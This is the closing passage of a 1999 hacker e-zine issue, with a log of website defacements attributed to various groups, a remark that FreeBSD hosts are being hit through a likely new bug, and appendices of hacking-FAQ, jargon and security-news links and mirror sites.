      [99.10.02] NT [GOD]                  The Monophonics (www.themonophonics.org)
      [99.10.02] So [ ]                    Infin (AU) (www.infin.com.au)
      [99.10.02] NT [x-empt]               #2 Kinky Singles (www.kinkysingles.com)
      [99.10.02] So [ ]                    Macsoc (AU) (www.macsoc.com.au)
      [99.10.02] NT [Pakistan HC]          Alarm Link (www.alarmlink.com)
      [99.10.02] Li [HIT2000]              Lucent (FR) (www.lucent.fr)
      [99.10.02] NT [Narcissus]          K Auraweb (www.auraweb.com)
      [99.10.02] So [TREATY]               NKFU Edu (TW) (ccms.nkfu.edu.tw)




      Several things:
      
      
      1. Many FreeBSD hosts have been hit in the last 12 hours, by different
         groups. This suggests a new bug is being exploited.
      
      
      2. The defacement of 'Anime Otaku' seems to be the first domain that
         shows time and energy for the hack. The defacement consists of an
         animated shockwave movie.
      
      
      
      [99.10.03] Bf [DJ synisteR]          Anime Otaku (www.animeotaku.com)
      [99.10.03] NT [Pakistan HC]          (nextstop) Truckstop (nextstop.truckstop.com)
      [99.10.03] NT [Pakistan HC]          (services) Truckstop (services.truckstop.com)
      [99.10.03] NT [Pakistan HC]          (trial) Truckstop (trial.truckstop.com)
      [99.10.03] Bf [TREATY]               Atoz (HK) (www.atoz.com.hk)
      [99.10.03] NT [DHC]                  Daisey (www.daisey.com)
      [99.10.03] Bf [TREATY]               Golden Image (www.golden-image.com)
      [99.10.03] Bf [TREATY]               Sky Pit (www.skypit.com)
      [99.10.03] Bf [Pakistan HC]          Tanner McCarron (www.tannerm.com)
      [99.10.03] NT [Narr0w]               The Psychic Connection (www.thepsychicconnection.com)
      [99.10.03] Bf [TREATY]               TNQ (TO) (www.tnq.to)
      [99.10.03] NT [Pakistan HC]          Truckstop (www.truckstop.com)      

           
      and more sites at the attrition cracked web sites mirror:
                   
                    http://www.attrition.org/mirror/attrition/index.html 

       -------------------------------------------------------------------------
       
  A.0                              APPENDICES
       _________________________________________________________________________



  A.1 PHACVW, sekurity, security, cyberwar links
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       The links are no longer maintained in this file, there is now a
      links section on the http://welcome.to/HWA.hax0r.news/ url so check
      there for current links etc.

      The hack FAQ (The #hack/alt.2600 faq)
      http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
      
      Hacker's Jargon File (The quote file)
      http://www.lysator.liu.se/hackdict/split2/main_index.html
      
      New Hacker's Jargon File.
      http://www.tuxedo.org/~esr/jargon/ 
      
      
      
      HWA.hax0r.news Mirror Sites around the world:
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      http://net-security.org/hwahaxornews ** NEW **
      http://www.sysbreakers.com/hwa ** NEW **
      http://www.attrition.org/hosted/hwa/
      http://www.attrition.org/~modify/texts/zines/HWA/
      http://www.hackunlimited.com/files/secu/papers/hwa/ ** NEW **
      http://www.ducktank.net/hwa/issues.html. ** NEW **
      http://www.alldas.de/hwaidx1.htm ** NEW **
      http://www.csoft.net/~hwa/ 
      http://www.digitalgeeks.com/hwa.*DOWN*
      http://members.tripod.com/~hwa_2k
      http://welcome.to/HWA.hax0r.news/
      http://www.attrition.org/~modify/texts/zines/HWA/
      http://archives.projectgamma.com/zines/hwa/.  
      http://www.403-security.org/Htmls/hwa.hax0r.news.htm
      http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
      http://hwa.hax0r.news.8m.com/           
      http://www.fortunecity.com/skyscraper/feature/103/  
      

      International links:(TBC)
      ~~~~~~~~~~~~~~~~~~~~~~~~~

      Foreign correspondants and others please send in news site links that
      have security news from foreign countries for inclusion in this list
      thanks... - Ed

      
          
      Belgium.......: http://bewoner.dma.be/cum/              
      
      Brasil........: http://www.psynet.net/ka0z              
            
                      http://www.elementais.cjb.net           
            
      Canada .......: http://www.hackcanada.com
      Croatia.......: http://security.monitor.hr
      
      Columbia......: http://www.cascabel.8m.com              
      
                      http://www.intrusos.cjb.net                                   
                      
      Finland ........http://hackunlimited.com/                
                      
      Germany ........http://www.alldas.de/
                      http://www.security-news.com/
      
      Indonesia.....: http://www.k-elektronik.org/index2.html 
      
                      http://members.xoom.com/neblonica/      
      
                      http://hackerlink.or.id/                
      
      Netherlands...: http://security.pine.nl/                
      
      Russia........: http://www.tsu.ru/~eugene/              
      
      Singapore.....: http://www.icepoint.com                 
      
      South Africa ...http://www.hackers.co.za       
                      http://www.hack.co.za            
                      http://www.posthuman.za.net 
 
                      
      Turkey........: http://www.trscene.org - Turkish Scene is Turkey's first and best security related e-zine.
      
                      
                       
                      
                      
                      
    .za (South Africa) sites contributed by wyzwun tnx guy...                  
      
      


    Got a link for this section? email it to hwa@press.usmc.net and i'll
    review it and post it here if it merits it.

    @HWA
    

  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
    --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--

    © 1998, 1999 (c) Cruciphux/HWA.hax0r.news <tm> (R) { w00t }
    
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-                       
     --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
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       [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]    


